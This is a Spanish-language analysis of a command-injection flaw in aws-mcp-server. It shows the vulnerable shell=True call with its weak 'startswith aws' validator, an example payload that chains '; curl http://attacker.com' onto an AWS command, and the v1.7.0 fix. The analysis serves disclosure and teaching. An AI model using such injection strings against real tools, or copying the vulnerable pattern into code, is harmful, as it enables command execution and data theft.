
Prueba de concepto que demuestra la inyección de comandos en aws-mcp-server mediante shell=True, con análisis del código vulnerable y la corrección en la v1.7.0.
La vulnerabilidad está en dos archivos que trabajan juntos:
Archivo 1: tools.py — La causa raíz
La versión antigua usaba shell=True en execute_piped_command():
# CÓDIGO ANTIGUO VULNERABLE
process = subprocess.run(
command, # ← cadena sin procesar pasada al shell
shell=True, # ← ESTE es el problema
...
)
Cuando shell=True, el shell del sistema operativo interpreta la cadena completa, incluyendo ;, &&, ||, comillas invertidas — por lo que cualquier cosa después de ; se ejecuta como un comando separado.
Archivo 2: security.py — La protección incompleta El validador solo comprobaba que el comando comenzara con :
aws# CÓDIGO ANTIGUO VULNERABLE
def validate_pipe_command(command: str):
if not command.strip().startswith("aws"):
raise ValueError("Debe comenzar con aws")
# ← se detiene aquí, sin verificar qué hay después de la tubería
Así que aws s3 ls ; curl http://attacker.com pasaba la validación — comienza con aws — y luego shell=True ejecutaba ambas partes.
Por qué la versión actual (v1.7.0) es diferente Mirando el código real hoy, ambos problemas han desaparecido:
# CÓDIGO ACTUAL en cli_executor.py
cmd_parts = shlex.split(command) # divide en una lista
subprocess.run(cmd_parts, shell=False) # basado en lista, sin interpretación del shell
Y security.py fue eliminado por completo — reemplazado por el sandbox del sistema operativo (Landlock/bwrap/Seatbelt).
El ; ahora es inofensivo:
"aws s3 ls ; curl http://evil.com"
→ shlex.split → ['aws', 's3', 'ls', ';', 'curl', 'http://evil.com']
→ subprocess recibe ';' como un argumento literal para aws
→ la CLI de AWS lo ignora, no se ejecuta ningún segundo comando
Resumen en una línea
| Versión vulnerable | v1.7.0 actual | |
|---|---|---|
| Ejecución | shell=True + cadena | shell=False + lista |
| Validación | startswith("aws") solamente | Sandbox a nivel de sistema operativo |
Manejo de ; | Ejecutado por el shell | Tratado como texto literal |
El CVE fue presentado contra la versión antigua. ZDI lo publicó como un 0-day porque el proveedor rechazó el informe — pero la arquitectura ya se había alejado de shell=True antes de que se publicara el CVE.